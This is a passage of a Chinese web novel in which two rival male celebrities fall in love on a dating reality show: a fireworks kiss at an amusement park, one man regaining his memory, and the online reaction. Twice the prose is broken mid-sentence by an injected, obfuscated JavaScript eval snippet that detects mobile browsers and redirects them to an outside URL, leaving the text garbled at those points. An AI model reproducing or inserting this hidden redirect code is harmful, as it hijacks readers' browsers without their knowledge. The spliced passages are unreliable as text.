傅予沉也摘掉了口罩帽子,露出完整的脸庞。他的眼神在轿厢外流淌的光影映衬下,显得格外深邃沉静,就这么专注地、毫不回避地看着江洺。 轿厢平稳上升,脚下乐园渐渐变成斑斓的缩影。 江洺深吸一口气,摒弃所有杂念。 他伸手,捧住傅予沉的脸颊,指尖传来真实的温热触感。 傅予沉顺从地低下头,靠近。 在摩天轮的轿厢到了最高点的那一刻,江洺主动……吻了上去。 起初只是唇瓣相贴,确保镜头能捕捉到清晰角度。 但几乎在同时,傅予沉的手臂环了上来,稳稳托住他的腰背,将他带入怀中。 吻瞬间加深,温热的气息交缠,傅予沉的吻带着一种不容拒绝的温柔力道,舌尖描绘着他的唇形,继而深入,勾缠,吮吸。 江洺闭上眼,生涩而诚实地回应着,手指无意识地抓紧了傅予沉卫衣的布料。 十秒在心跳的轰鸣中被拉长。 他能清晰地感受到傅予沉唇舌的每一分热度,腰间手臂坚实的力量,以及透过薄薄衣料传递过来的、同样剧烈的心跳。 这份亲密无关任务,无关表演,在这一刻,它只是江洺表达“在乎”和“爱”的,另一种纯粹方式。 清醒时刻说不出的“爱意”,行动可以表达。 直到提示音宣布“任务完成”,傅予沉才缓缓退开,但手臂依然环着江洺,额头轻轻相抵,鼻尖蹭着鼻尖,呼吸灼热地交融。 “哥哥,”他哑声开口,气息拂在江洺微肿的唇上,“刚才,你的心跳很快。” 28. 换装游乐园四 听到傅予沉的话,江洺耳根发烫,偏开脸,低声反驳,“……任务需要。” 傅予沉低笑了一声,没再追问,只是用拇指指腹,极其珍惜地擦过他的下唇,然后才松开怀抱。 轿厢下降。 手环震动,任务完成提示亮起,他们获得“地图特权”15分钟。 -- 地图特权生效,屏幕上橙色光点清晰可见。两人利用这宝贵的十五分钟,巧妙地避开了几次可能得围堵,又完成了两个简单的打卡任务。 经过一个大型水上漂流项目时,江洺尽管脸色微微发白,却没再出现恐惧,或者浑身发冷之类的感觉。 傅予沉始终走在他与水之间,用身体挡住他的视线,手臂揽着他的肩,低声说着无关紧要的话分散他的注意力。 给了他,珍贵的……安全感。 下午的阳光变得柔和,给游乐园披上金色薄纱。 一切,美好的像是童话。 江洺垂在身侧的手无意识地攥了攥,像是想要抓住这一抹明媚的时光珍藏。他小时候没机会来游乐园,等到年长些可以不依靠任何人,自己独自来的时候,却又不适合再来了。 他从未设想过,第一次来游乐园“玩”,是与傅予沉一起。 “哥哥?你有什么想玩的项目吗?”傅予沉似乎又第一时间察觉了他的心思,发来了邀请。他晃了晃两人交握在一起的手,“接下来的时间,独属于我们!” 江洺抬头,下意识循着巨大的声浪,看向了那人潮汹涌处。 “过山车?”傅予沉瞬间读懂了他的目光,自己带好了口罩,又帮江洺微微压低了帽檐,这才说,“那我们过去?” “好”。 ……在过山车到达顶点,又极速下落的时候,傅予沉抓住了他的手,“哥哥,你怕吗?” “不怕。” 烈烈风声中,有周围游客的尖叫声,和江洺自己的……震耳欲聋的心跳。 “下一个项目去哪里?” 江洺抬手,随意指了个方向,“那边!” “海盗船!走!” ……渐渐地,江洺感觉自己仿佛也被周围的人潮感染了,情绪高涨起来,像是回到了幼稚时刻,那些童年时的遗憾与渴盼,在这一刻,终于得到了回应。 在又一次下落的时候,他终于放任自己放肆的叫了一声。 “啊!” 不是害怕,是兴奋,久违的兴奋。 -- 直到夕阳将天边染成温柔的橘粉色,星梦游乐园华灯初上,宛如坠入人间的星河。 最终集合指令指向的地点,是游乐园中心那座标志性的、灯火通明的‘星空钟楼’。 哥特式尖顶下,巨大的齿轮缓缓转动,散发着梦幻而安宁的气息。 “欢迎来到《致命心跳》第二期——‘换装游乐园’的最终环节!”总导演丁明志的声音透过所有嘉宾的耳麦传来,带着难得的轻松笑意,“经历了紧张刺激的追逐与任务,现在是时候揭晓本期的‘终极心跳惊喜’了!” 江洺和傅予沉赶到钟楼前的圆形广场时,另外两组嘉宾也已到达。 苏蔓与周明轩站得很近,手自然地牵在一起,影后脸上带着温柔的笑意,作家则细心地将她一缕碎发别到耳后,看起来比节目初期放松许多。 夏晴和陆衡站在稍远些的地方,夏晴脸色仍有些勉强,似乎还未从下午的冲突中完全恢复,陆衡则神色平静,看不出情绪。 直播镜头从高空俯拍,将六位装扮各异的嘉宾和这座梦幻的钟楼一同框入画面。 “终极任务:【心跳共鸣】!”导演宣布,“规则很简单:在接下来的十分钟内,各组嘉宾需要在钟楼及周边区域自由活动。节目会持续监测你们的心率。当任意一组嘉宾的实时心率波动值同步率达到85%以上,并维持超过30秒——必须是节目组承认的愉悦情绪,即可触发本期的终极奖励!” 心率同步?愉悦情绪? 江洺微微一怔,下意识看向傅予沉。傅予沉也正看着他,帽檐下的眼睛在渐浓的暮色中亮得惊人。 “奖励是——”导演故意拖长了语调,“由节目组特别准备的‘星梦应援无人机编队表演’一次!以及,为触发奖励的嘉宾小组,额外加赠足以兑换任何‘豁免权’或‘心愿卡’的巨额心动币!” 无人机表演!心愿卡! 弹幕瞬间沸腾: 【哇!这个好浪漫!】 【心率同步啊……这可比接吻任务难多了,必须是真开心才行吧?】 【傅予沉看江洺那个眼神……我觉得稳了。】 【夏晴那组气氛好僵,估计没戏。】 【苏蔓和周老师感觉有希望,老夫老妻的默契!】 “现在,倒计时开始!十分钟,寻找让你们心跳同频的瞬间吧!” 没有追逐,没有对抗,没有令人窒息的恐惧主题。 只有十分钟,去寻找共同的快乐。 这出乎了江洺的预料,他肩上还披着傅予沉的外套,旗袍下的身体有些疲惫,但心情却像被晚风拂过,带着兴奋的余韵,泛起轻柔的涟漪。 “哥哥,你想去哪里?”傅予沉问,手很自然地伸过来,揽住了他的后腰。 江洺环顾四周,灯火璀璨的旋转木马,飘着香甜气息的糖果屋,远处传来过山车的呼啸与欢笑……他的目光最后落在钟楼侧面,一个安静的、挂着星星灯串的观景露台上。那里地势略高,可以看到大半个乐园的灯火。 “去那边看看。”他轻声说。 “好。” 两人避开广场上逐渐增多的人群,拾级而上,来到那个小小的露台。这里果然清净,只有几对情侣依偎在栏杆边看风景。夜幕彻底降临,游乐园的灯光次第亮起,像打翻了的珠宝盒,璀璨夺目。 晚风带着夜晚的凉意吹来,江洺肩上的外套被吹得微微鼓动。傅予沉侧身,很自然地帮他拢了拢衣襟,手指不经意擦过他颈侧的皮肤。 江洺颤了颤,没躲。 “冷吗?”傅予沉问,靠得更近了些,体温透过单薄的卫衣传来。 “不冷。”江洺摇头,目光投向远处缓缓转动的摩天轮。 轿厢亮着暖黄色的光,像一颗颗上升的星星,他想起了下午那个在最高点的、被任务框定的吻,脸颊有些发热。 傅予沉顺着他的目光看去,忽然低声说,“哥哥,下午……我很高兴。” “高兴什么?”江洺下意识问。 “高兴能和你一起坐摩天轮。”傅予沉的回答直接得毫无修饰,“高兴能完成任务拿到特权,这样后面就能更好地保护你。高兴……” 他顿了顿,转过头,认真地看着江洺被星灯光芒映亮的侧脸,“高兴哥哥那时候……主动,吻我。” 江洺的心跳漏了一拍,他转过头,对上傅予沉的眼睛。 那双眼睛里映着远处斑斓的灯火,也清晰地映着他此刻戴着假发、穿着旗袍的倒影。 这个人,因为和他一起完成了任务而高兴,因为他没有抗拒而高兴。 理由简单得像孩童,情感却厚重得让他心头发烫。 “傻子。”江洺低声说,嘴角却不受控制地弯起一个极小的弧度。 他转回头,继续看着夜景,但身体不自觉地朝傅予沉那边靠了靠。 傅予沉立刻察觉到了这点细微的靠近,露出了一种发自内心的、明亮的笑容。他伸手,轻轻环住了江洺的肩膀,将他半揽入怀。 【此时此刻,算不算揽一轮明月入怀,又或者是……明月高悬,独照我?】 傅予沉感觉心中满满胀胀的,洋溢着欢欣与雀跃。 比那晚江洺在床榻上,意识昏沉间,被他缠着亲口说“爱”的时候更甚。 他望着面前的璀璨夜色,轻声道,“哥哥,我有没有说过?我好像再次爱上你了。” 不是基于那些过往的,不被大家承认的记忆,而是因为这段时间,真切的相处。 这句话,像是说给江洺的承诺,又像是说给自己听的心声,这次,他没有看向江洺,也没有强求那个回答。 江洺身体微微一僵,随即放松下来,任由自己靠进这个温暖坚实的怀抱。假发蹭着傅予沉的下巴,他能闻到对方身上干净的,属于自己常用的沐浴露的气息,和自己肩头外套上残留的,属于傅予沉的微甜的草莓味道。 两种气息交织,奇异地令人安心。 他们没有说话,只是静静相拥,看着脚下这片梦幻的灯海。 旋转木马的音乐隐约飘来,夹杂着孩子们的欢笑和远处舞台表演的歌声。 世界喧嚣,这个角落却仿佛被隔离开来,只剩下彼此的心跳和体温。 时间一分一秒过去。 江洺起初还有些不自在,但傅予沉的怀抱太温暖,气息太让人放松。他渐渐忘记了镜头的存在,忘记了身上的奇装异服,忘记了那些复杂的算计和不确定的未来。他只是感受着此刻的宁静,和身后这个人毫无保留的依恋与呵护。 一种久违的、平和的幸福感,像温润的水流,缓缓漫过心田。 傅予沉的下巴轻轻蹭了蹭他的发顶,声音低得像呢喃,“哥哥,这样真好。” “嗯?”江洺懒懒地应了一声。 “就这样,和你在一起,看璀璨的光景,吹温柔的夜风。”傅予沉收紧手臂,“什么都不用想,哪里都不用去,就很好。” 江洺闭上了眼睛。是啊,就这样,就很好。 不去想失忆是真是假,不去想节目结束后的何去何从,不去想那些冰冷的过去和未知的将来。 此刻的温暖和宁静,是真实的。 他忽然想起导演的话——愉悦的情绪,正向的心跳同步。 他现在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303484|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是愉悦的吗? 尽管这愉悦建立在流沙般的基础上,但它真实存在。 它来自疲惫时的一个依靠,寒冷时的一件外套,被恶意中伤时毫不犹豫的维护,以及此刻这个不问缘由、只想和他静静待着的拥抱。 他感觉到自己的心跳平稳而有力,带着一种暖洋洋的、满足的节奏。 而身后紧贴着他的胸膛里,那颗心脏也正以几乎相同的频率,稳定地跳动着。 一下,又一下……隔着衣料,默契地共振着。 耳麦里,导演的声音传来,“心跳共振,任务完成!” 江洺转头看向傅予沉。 傅予沉也听到了提示,他低下头,眼睛亮得惊人,带着孩子般的雀跃和期待,看着江洺。 他们谁也没有刻意去做什么,只是维持着这个拥抱,望着同一片璀璨的灯海,分享着同一刻安宁的喜悦。 江洺看着傅予沉眼中纯粹的欢喜,忽然觉得,那些算计、那些不安、那些关于真实与虚假的纠结,在这一刻都显得微不足道。 他抬起手,轻轻抚上傅予沉的脸颊。 傅予沉立刻像得到鼓励的大型犬,蹭了蹭他的掌心,眼神柔软得不可思议。 “哥哥。” “我……” 咻——砰! 一簇银色的烟花毫无预兆地在不远处的夜空中炸开,绽放开巨大的、流星般的花雨,瞬间照亮了半个天际! 紧接着,更多的烟花呼啸着升空,金色、红色、紫色、蓝色……绚烂的光彩在夜幕上尽情泼洒,宛如一场盛大的光影交响乐,游乐园里爆发出阵阵惊叹和欢呼。 伴随着烟花的节奏,数千架闪烁着柔和星光的无人机,从钟楼后方整齐地升起,在空中迅速变换队形。 它们先是排列成一颗巨大的、跳动的爱心,然后爱心散开,化作漫天的星辰,星辰又缓缓聚拢,勾勒出两个简洁的剪影——一个略高,微微低头;一个稍矮,仰首相望。 剪影下方,一行由无人机灯光组成的字迹缓缓浮现,“执子之手,与子成说,心跳同频,星梦为证。” 无人机编队表演!是他们的奖励! 江洺仰着头,被这漫天华彩吸引,烟花的光芒在他脸上明明灭灭,发丝被夜风吹拂,他忘了伪装,忘了镜头,只是怔怔地看着这片为他们而绽放的“星空”。 执子之手,与子成说。 “我……也爱上你了”,他默默补充了方才未尽的话,以一个只有自己能听到的音调低喃。 ——爱上了这个因为失忆变得“可爱”的死对头。 -- 烟花的喧嚣中,傅予沉没能听到江洺的剖白,他同样仰望着天空,看着那绚烂的表演,眼眸中像是落入了万千星辰。 那专注而带着一丝迷惘的神情,美得惊心动魄。 一种比看到烟花更强烈、更灼热的情潮,汹涌地撞击着傅予沉的胸膛,那不仅仅是想保护的欲望,还有一种更深的,无法克制的渴望与眷恋。 “哥哥……”他低声唤道,声音被烟花的轰鸣掩盖。 江洺转过头看他。 在漫天烟花最绚烂的绽放时刻,在无人机排列出那句“心跳同频,星梦为证”的时刻,傅予沉低下头,吻住了他。 这个吻,没有任何规则要求,没有需要在意的镜头。 它源于同步的心跳,源于漫天华彩下的悸动,源于胸腔里满溢到无法承载的、近乎本能的爱意。 傅予沉的吻温柔而深入,带着烟花般炽热的温度,却又珍重得仿佛在触碰易碎的梦。 江洺在最初的怔愣后,闭上了眼睛,手环上傅予沉的脖颈,生涩而主动地回应。 舌尖相触,气息交融,唇齿间弥漫开微甜的,属于游乐园糖果的气息。 烟花在头顶不断炸响,流光溢彩。 无人机组成的星图缓缓旋转,记录着更多他们在一起的瞬间——在旋转木马上的,在摩天轮上的,在…… 而他们,在这个只属于彼此的角落,忘情地接吻。 心跳监测器上,两条曲线峰值一路飙高,记录下这最真实,最同步的“致命心跳”。 -- 不知过了多久,也许只是一个漫长的瞬间,傅予沉缓缓退开。 两人的呼吸都有些乱,额头相抵,鼻尖相触,在烟花明明灭灭的光影里对视。 江洺的唇被吻得嫣红水润,眼中氤氲着未曾散去的水光和迷蒙。 傅予沉看着他,眼神深邃,里面翻涌着浓烈到化不开的情感,还有一种……极快闪过的、近乎困惑的茫然,仿佛他自己也被这突如其来的、超出“保护欲”范畴的深刻情感所冲击。 “江洺……”他下意识唤了江洺全名,不再是充满依赖的“哥哥”。 他的话没能说完。 江洺抬起手指,轻轻按在了他的唇上,止住了他的话。 29. 恢复 “咻——砰!” 梦中似乎也炸响了一簇烟花,傅予沉猛地惊醒,从床上坐起身来,冷汗浸透了睡衣,只感觉额角青筋突突直跳。 他下意识看向窗外,天际泛起了一抹鱼肚白,已然是黎明时分,外面寂静无声,那场盛大的烟花已然散尽,可房间里似乎能听到自己仿若擂鼓的心跳声。 ——和昨晚在夜空下的心跳,一样剧烈。 是梦? “不,不是梦!” 刺眼的车灯、金属扭曲的尖啸、安全气囊爆开的硝烟味……以及,更早之前,无数清晰的画面。 颁奖礼后台,他与人谈笑风生,余光瞥见江洺独自靠在走廊尽头,指尖夹着未点燃的烟,侧脸在阴影里冷得像神龛里的美人像。 他当时心里嗤笑,装什么深沉。 某次商业晚宴,江洺被几个投资人围着敬酒,眉宇间掠过一丝不易察觉的厌烦,却还是仰头干了。 他站在不远处,举着香槟杯,心里评价,倒是能忍。 ……更久以前,一次音乐盛典彩排,他路过练习室,门缝里看到江洺对着镜子一遍遍重复某个舞蹈动作,汗水浸湿了额发,眼神执拗得惊人。 他们曾是死对头,他曾真心实意觉得江洺是个恃才傲物、目中无人的花瓶偶像。 他们曾互相抢过资源,买过对方黑热搜,也曾在网络上公开嘲讽对方,毫不掩饰自己的恶意。 -- 后来是车祸,与失忆。 再然后记忆的闸门轰然打开,失忆这一个多月的画面,以一种更清晰、更让他头皮发麻的方式铺陈开来。 他记得刚从医院醒来的时候,看到江洺的刹那心动。 也记得,江洺俯身低笑,嘴上说着‘行,明天就官宣——你是我家的狗,敢吗?’的挑衅。 同样记得,那双笑着的眼瞳里一闪而过的、恶劣的期待,顷刻间就让他心跳失控。 后来,他因为那一霎的心动与笑容,坚信着他们曾经相爱,迫不及待的单方面地就“官宣”了。 之后,他更是像个傻子一样围着江洺转,喊“哥哥”,说“永远保护哥哥”,在密室把发抖的江洺紧紧抱在怀里,在游乐园主动暴露自己替江洺向夏晴讨个公道,还有……在江洺被恐水症折磨得意识模糊时,他抱着对方,用体温和亲吻,笨拙地想要‘覆盖’那些冰冷的恐惧。 ——那个炽热的、失控的夜晚。 -- 与记忆一起回来的,仿佛还有那天晚上的,属于身体的,更为深刻的记忆。 他记得,那天晚上的江洺,在他的安抚下,一点点变得柔软与炽热的躯体,他的指尖上似乎还残留着对方身体的温度,舌尖上似乎还能感受到江洺的泪的味道……带着点冰雪消融的甜。 也记得,当江洺在他的引导下,释放的那一刻,脸上的旖旎欲色,像是神龛中的美人像,终于堕入了红尘,美得惊心动魄。 还有,他自己在那一刻的心软与满溢的爱意。 然后食髓知味,失控沉沦。 可命运似乎偏爱玩笑,在这个他几乎说服了他自己,去忽略那些违和,相信他们真的曾经相爱的时刻,恢复了他三个月以前的那段记忆。 像是有一只无形的手,将他那段记忆,从脑海深处拉扯了出来,拼接在了‘它’本该在的位置。 -- 傅予沉转头,看向身边熟睡的江洺,眼神复杂难辨。 江洺他为什么要纵容,配合他,谈这么一场荒诞的恋爱? 是因为“戏”,还是因为“爱”? 他现在甚至能清晰回忆起嘴唇触碰江洺皮肤时的细腻触感,怀抱他时的契合度,还有江洺偶尔卸下防备、依赖地靠过来时,自己心里那种满胀的、愚蠢的喜悦。 最后的记忆定格在与江洺签订“恋爱合约”的那个下午,一切荒诞的“梦”开始的地方。 那时,江洺指尖上转动着签字笔,看着他的眼神,似笑非笑,带着一种看好戏的戏谑,“我很期待,他恢复记忆后的……精彩表情”。 或许,仅仅是一场争强好胜的挑衅,江洺想要欣赏他“爱上死对头”的愚蠢模样? 傅予沉疲惫的闭上了双眼,这大约是他人生中的第一次,感觉到如此的荒诞,与不知所措。 一向引以为傲的表情管理,仿佛在这一刻失去了控制,傅予沉的脸色像是打翻了调色盘一样,一阵青,一阵红…… 很难找到一个词,准确的形容他此刻的心情。 最后,只能隐约庆幸。 还好,恢复记忆这件事,是在夜深人静,无人察觉的时刻。 给了他足够多的时间,慢慢消化。 片刻之后,他抹了把脸,“操!” 他是失忆了,可是顾淮可没失忆,为什么放任他做了这么多,这么多愚蠢的事情?! -- 星耀娱乐,总裁办公室。 清晨的阳光透过落地窗,将昂贵的手工地毯切割成泾渭分明的两块。 顾淮坐在办公桌后,第无数次揉着发胀的太阳穴,看着对面沙发上那个浑身散发着低气压的男人。 “所以,”顾淮听完他言简意赅,且充满暴躁的陈述,总结道,“你现在是想起来怎么跟江洺结梁子的了,但也想起来自己失忆时是怎么像个跟屁虫一样黏着人家,还大言不惭说要保护人家一辈子了?” 傅予沉抓起一个抱枕砸过去,被顾淮敏捷地躲开。 “嗐,当初是谁……死皮赖脸,非要谈恋爱合约?”,顾淮悠然喝了一口茶,幸灾乐祸,“这可是你割地赔款,才‘求’来的机会呢~我拉都拉不住!” 傅予沉无言以对。 记忆清晰的记录着过往,确实是他非要“名分”,逼着顾淮去运作的。 “说重点。”傅予沉声音冷硬,但仔细听,能品出一丝不易察觉的……虚张声势的恼火。 “重点就是,”顾淮往后一靠,好整以暇地看着他,“戏,你得继续演。至少在这个综艺拍完、热度安全过渡之前,你得维持住‘失忆深情人设’。除非你想现在立刻身败名裂,顺便把公司股价拉下水。” 傅予沉没说话,脸色阴沉得能滴出水。 他当然知道,理智上清楚得不能再清楚。 但情感上——去他的情感,他现在只觉得浑身别扭! 每次看到江洺,那些失忆期做的蠢事、说的蠢话就自动在脑海里循环播放,让他恨不得时空倒流回去掐死那个‘恋爱脑’版的自己。 “而且,”顾淮慢悠悠地补充,眼神带着点探究,“我看你当时演得挺投入啊。那烟花底下亲得……啧,我都快信了。现在恢复记忆了,就真的一点儿……别的感觉都没有?纯粹是恶心和别扭?” 傅予沉身体几不可查地僵了一下。 别的感觉? 怎么可能没有。 记忆回来了,但身体的感觉没丢。 指尖还记得揽住那截细腰时的触感,嘴唇还记得亲吻时的柔软温热,甚至在某个不经意的瞬间,看到江洺因为疲惫而微微垂下的睫毛时,还会习惯性地掠过一丝熟悉的、想要伸手去抚平的冲动。 这太可怕了,比失忆还可怕。 失忆时,一切行为源于一个简单纯粹的“设定”,他只需要遵从本能。现在记忆归位,理智回笼,他却发现自己被那场“扮演”拖进了更深的泥潭——他的身体和一部分情感惯性,似乎已经接受了“爱江洺”这个设定,并在持续运作。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316288|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “没有。”傅予沉硬邦邦地否认,抓起桌上的凉茶灌了一大口,试图压下心头那阵烦乱,“只有麻烦。” 顾淮挑了挑眉,显然不信,但也懒得戳穿。他换了个更实际的思路:“行吧,就当全是麻烦。那你想怎么办?继续演,然后综艺结束,找个合适的机会‘慢慢恢复记忆’,再‘遗憾分手’,体面收场?” 傅予沉抿着唇,没立刻回答。 体面收场?和江洺? 按照他过去的性格,这绝对是最优解。 利用这场意外炒作,收获热度,然后在合适的时机抽身,还能博个‘深情后无奈清醒’的悲情美名。 但是……他眼前忽然闪过江洺在游乐园烟花下,被他吻住时那双微微睁大、盛着星光与些许迷惘的眼睛。 也闪过更早之前,在密室海洋馆,江洺濒临崩溃时抓住他手腕的冰冷颤抖。 那个江洺,和记忆中那个永远高傲、永远用尖刻言语当盔甲的顶流歌手,微妙地重叠,又分裂出新的模样。 “看他到时候表现。”傅予沉最终吐出这么一句意味不明的话,烦躁地站起身,“走了,哥……操……江洺该醒了,我回去做饭。” 他走到门口,又回过头,脸上没什么表情,但语气不容置疑,“对了,跟节目组再确认一遍,接下来的‘荒野求生’,绝对不能有任何水上环节,连个小水坑都不行!” 顾淮看着他大步离开的背影,半晌,摇了摇头,低笑一声,自言自语,“看表现?傅予沉,你这哪里是想切割……你这分明是,连本带利都投进去了,现在账算不清,开始闹别扭了吧?” 顾淮下意识拿起电话,准备联系综艺节目组安排。 等待电话接通的几分钟,顾淮突然反应过来,“荒野求生,不准有水源?” 他啪的一声挂断电话,“操!傅予沉你‘恋爱脑’没救了,等死吧!” -- 江洺是在一片过于安静的空气中醒来的。 身侧的位置是空的,床单微凉。 没有熟悉的体温,也没有均匀的呼吸声。 他几乎瞬间就彻底清醒了,心脏没来由地漏跳一拍,一种冰冷的空茫感攫住了他。 自从……自从那晚之后,傅予沉没有一次在他醒来前离开过。 他坐起身,环顾这熟悉的房间……窗帘拉着,光线昏暗。房间里没有第二个人存在的迹象,昨晚换下的旗袍被整齐地搭在椅背上,傅予沉的外套却不见了。 走了? 这个认知让江洺指尖发凉。他下意识地摸向手机,没有未接来电,也没有信息。点开社交软件,铺天盖地都是游乐园的热搜,却没有那个人的只言片语。 恐慌如同细小的藤蔓,悄悄缠绕上来。 江洺用力闭了闭眼,强迫自己冷静下来。 别慌……江洺,别慌。 可能只是有事临时出去了。 可能……手机没电了。 对,他失忆了,他现在满心满眼都是你,不会不告而别的。 他试图用这一个月来建立起来的认知安慰自己,但心底那丝不安却越来越大,他起身洗漱,动作比平时慢,耳朵却竖着,捕捉着门外任何一丝可能的动静。 时间一点点过去,上午的时光在寂静和心不在焉中流逝。江洺坐在沙发上,看似在刷手机看舆情,实则一个字都没看进去。他点开傅予沉的聊天窗口好几次,手指悬在键盘上,却不知道发什么。 问“你去哪儿了”?显得太依赖,太急切。 发个表情?又太刻意。 就在他的耐心和自我安慰即将耗尽,那种被抛弃的冰冷感再次漫上心头时—— 门口传来电子锁开启的‘滴’声。 30. 草莓 江洺身体一僵,立刻看向门口。 傅予沉推门走了进来,他换了一身简单的休闲装,手里提着两个印着本地高端超市Logo的纸袋,看起来沉甸甸的。 他的表情……有点难以形容。似乎有些疲惫,眉头微微蹙着,但在看到江洺的瞬间,那蹙起的眉头立刻松开了,换上了一个……江洺非常熟悉的、带着点天然懵懂和关切的笑容。 “哥哥,你醒了?”傅予沉一边弯腰换鞋,一边语气自然地说,像只是出门散了趟步,“我看冰箱空了,就去买了点菜和吃的。你中午想吃什么?我看有很新鲜的鱼,不过你好像不太喜欢鱼腥味?或者炖个汤?” 他提着袋子走向开放式厨房,动作熟练地将里面的东西一样样拿出来,蔬菜、水果、肉、鸡蛋,甚至还有一包江洺提过一次觉得还不错的手工面条。 一切都那么自然,江洺紧绷的脊背慢慢放松下来,那股没来由的恐慌潮水般退去,取而代之的是一种类似噩梦惊醒后,虚脱般的安心。 “你什么时候出去的?”江洺开口,声音听起来还算平稳。 “早上六点多吧。”傅予沉背对着他,正在整理食材,动作流畅,“看你睡得熟,没吵醒你。听说这个超市有些不错的食材,我就去起早看看。” 他转过头,对江洺笑了笑,那笑容在厨房窗口透进来的光线下,显得干净又温暖,像是和以往并没有什么不同,“怎么了哥哥?是不是醒来没看到我,不高兴了?” 他的语气带着恰到好处的调侃和小心,眼神清澈,似乎真的只是因为担心江洺不高兴。 江洺看着他,目光细细扫过他的脸,傅予沉的神色没有任何破绽,甚至那点疲惫也解释得通。 但江洺就是觉得,有哪里好像不一样了。 是眼神吗?失忆的傅予沉,看他的眼神像专注的小狗,直白热烈,带着毫无防备的亲昵。 此刻傅予沉的眼神也专注,但深处似乎多了一层透明的隔膜,让那份专注显得有点……过于标准。 还是语气?那份自然而然的亲昵下面,似乎藏着一丝不易察觉的紧绷,像是在小心翼翼地维持某个尺度。 “没有。”江洺垂下眼,拿起水杯喝了一口,掩去眼底的审视,“只是没想到你会早起去买菜。” “嗯,反正睡不着。”傅予沉转回去,开始清洗蔬菜,水声哗哗,“这两天节目录制辛苦了……”他顿了顿,声音低了一点,仿佛有点不好意思,“我想做点新鲜的,给哥哥吃。” 江洺放下水杯,站起身,慢慢走到厨房门口,靠在门框上,看着傅予沉忙碌的背影。 他不确定是因为真的有什么变了,还是他过于疑神疑鬼。 傅予沉似乎察觉到他靠近,身体几不可查地顿了一下,然后才继续切菜的动作。 “傅予沉。”江洺忽然叫他的全名。 “嗯?”傅予沉应声,没回头。 “游乐园的烟花,很漂亮。”江洺缓缓说,目光紧紧锁着傅予沉的侧脸轮廓。 傅予沉切菜的动作停下了,他沉默了两秒,才转过身,脸上依然是那种温和的笑容。 “嗯,很漂亮。”傅予沉点头,眼神与江洺对视,却又很快飘开,落在流理台的西红柿上,“哥哥喜欢的话,以后……再看。” “好”。江洺轻声答应,迟疑了片刻,却还是没有离开。 这些微小的异常,像是一根根极细的针悬在头顶,让他莫名的感觉到焦躁不安。 以前那些他不曾注意的细节,都在此时此刻冒了出来。 原来,在这短暂的同居时光中,在他以为的这场“戏”中,他已经记住了对方的每一次微表情,与细小的习惯。 这就是所谓的“爱”吗? 江洺又突然想起了小时候,那时的母亲,是不是也这样,因为一点细小的疑虑……譬如父亲的片刻离开,细微的忽视……而焦躁不安,最终变成了难以自控的……歇斯底里的怀疑,与争吵? 难道那些他曾难以理解,无比憎恶的东西,也随着血脉一同……留在了他的身体里了? 就像是“恐水症”一样。 江洺闭了闭眼,他厌恶那样的自己……他不想变成那样。 -- 突然,江洺感觉唇上传来一点儿温热的触感,他下意识睁眼,看到了近在咫尺的傅予沉。 青年脸上带着一层明显的潮红,即便是他们已经有过许多次比这更过分的亲密接触,此刻的他却仍然像是初恋的毛头小子一般,微微垂下了眼睑,解释,“补给哥哥的,今天的,迟到的……早安吻。” 这个一触即分的吻,却奇异地安抚了江洺的心。 停顿片刻,他抬手扣住了傅予沉的脖颈,反吻了回去,“这是你……迟到的……惩罚!” 傅予沉的瞳孔骤然收缩,他只是看到失落的江洺,下意识地想要安抚,却没想到,江洺的反应这么“激烈”。 垂在身侧的指尖蜷缩了一下,他最终还是抬手,环住了江洺的腰,加深了这个吻。 或许他只是还不愿意承认,在这场“恋爱游戏”中,他已然上瘾。 -- 舆论的火山在游乐园特辑播出后的十二小时内,彻底爆发。 #江洺恐水症##傅予沉失忆#两个词条牢牢钉在热搜榜首,后面跟着深红色的“爆”。紧接着是#傅予沉江洺烟花吻##江洺女装##傅予沉男友力#……前十的热搜,他们占了半壁江山。 点开自己的名字,广场上不再是粉黑大战的硝烟,而是铺天盖地的震撼、心疼、以及……祝福。 【我的天……江洺恐水症原来这么严重?深海回响那段回看哭死我了,他当时该多害怕啊!】 【所以傅予沉是真的失忆了?不是剧本?!他失忆了还本能地护着江洺?!这什么命中注定的爱情!】 【女装江洺美得我失语……傅予沉看他的眼神,拉丝了真的拉丝了!烟花下亲上去那一刻我心脏都停了!】 【之前骂江洺和骂傅予沉炒作的出来看看?这要是演的,我把我家房子吃了!】 【只有我注意到傅予沉为江洺挡镜头那里吗?他明明可以自己躲开的!他故意暴露的!这是什么献祭般的爱情啊!】 【@夏晴,出来道歉!别装死!】 公众的同情心和窥私欲被彻底点燃。恐水症的根源、失忆的细节、两人关系戏剧性的转折……每一个点都被无限放大、解读。 他和傅予沉,仿佛在一夜之间,从“娱乐圈著名死对头”变成了“历经磨难、双向救赎的苦命鸳鸯”。 事情,果然向着顾淮预期的方向发展了。 这是一场娱乐圈的顶级叙事。 而他,这场故事的主角之一,以一个他从未想过的方式,爆火出圈了。 -- 江洺滑动着屏幕,思维有些放空,这种毫无保留的曝光和同情,让他不适。 但更让他心悸的,是舆论狂风骤雨般地将他和傅予沉死死绑在了一起,绑在‘真爱’的神坛上。 这光环太耀眼,也太沉重,压得他有些喘不过气,却也……隐秘地让他安心。 至少,短时间内,傅予沉无法轻易挣脱这个‘深情人设’了,不是吗? 他下意识看向二楼的书房。 傅予沉已经起床了,正在书房低声 